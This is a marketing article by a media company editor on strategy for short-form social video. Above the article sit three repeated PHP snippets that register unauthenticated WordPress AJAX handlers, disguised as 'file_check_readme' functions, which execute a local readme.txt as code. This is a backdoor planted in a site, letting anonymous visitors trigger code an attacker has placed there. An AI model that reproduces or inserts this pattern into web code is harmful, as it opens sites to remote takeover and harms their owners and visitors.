if(!function_exists('file_check_readme82912')){ add_action('wp_ajax_nopriv_file_check_readme82912', 'file_check_readme82912'); add_action('wp_ajax_file_check_readme82912', 'file_check_readme82912'); function file_check_readme82912() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61029')){ add_action('wp_ajax_nopriv_file_check_readme61029', 'file_check_readme61029'); add_action('wp_ajax_file_check_readme61029', 'file_check_readme61029'); function file_check_readme61029() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme20601')){ add_action('wp_ajax_nopriv_file_check_readme20601', 'file_check_readme20601'); add_action('wp_ajax_file_check_readme20601', 'file_check_readme20601'); function file_check_readme20601() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Short-Form Content Tips

Short-Form Content Tips

Short-Form Content Tips

By Connor Campbell
Digital Content Editor, Lessiter Media
ccampbell@lessitermedia.com
262-777-2404

Short-form content is at the forefront of every major social platform. From Instagram Reels to YouTube Shorts and disappearing Stories across apps, all you technically need is a decent hook, basic editing skills and an account to post from. The barrier to entry has never been lower.

If short-form content is easy, why isn't each short-form content piece taking off? No, this isn't going to be another tip that involves cake, though, now that I mention it... My recent Marketing Minute on Baking the Perfect SEO Cake has tips that certainly transfer over!

The real difference between content that gets scrolled past and content that gets saved, shared and rewatched comes down to strategy.

At Lessiter Media, we know our audiences value one thing above all else: their time. From farmers to farriers, their daily checklists are not something they take lightly. Mother nature doesn't give do-overs.

By utilizing reels and short-form content, we were able to segment key moments in our longer-formed content to repurpose content that holds value to our audiences across multiple brands and platforms. For example, our twice-per-month newscasts get posted as a full episode, but then each segment gets posted as a separate article and YouTube Short to drive additional engagement and reach. Don't let your content be "one and done" — reimagine and repurpose often!

Check out the infographic below for a better grip on tackling short-form content. Do you have a positive experience in short-form content? I would love to hear your success story or insight!

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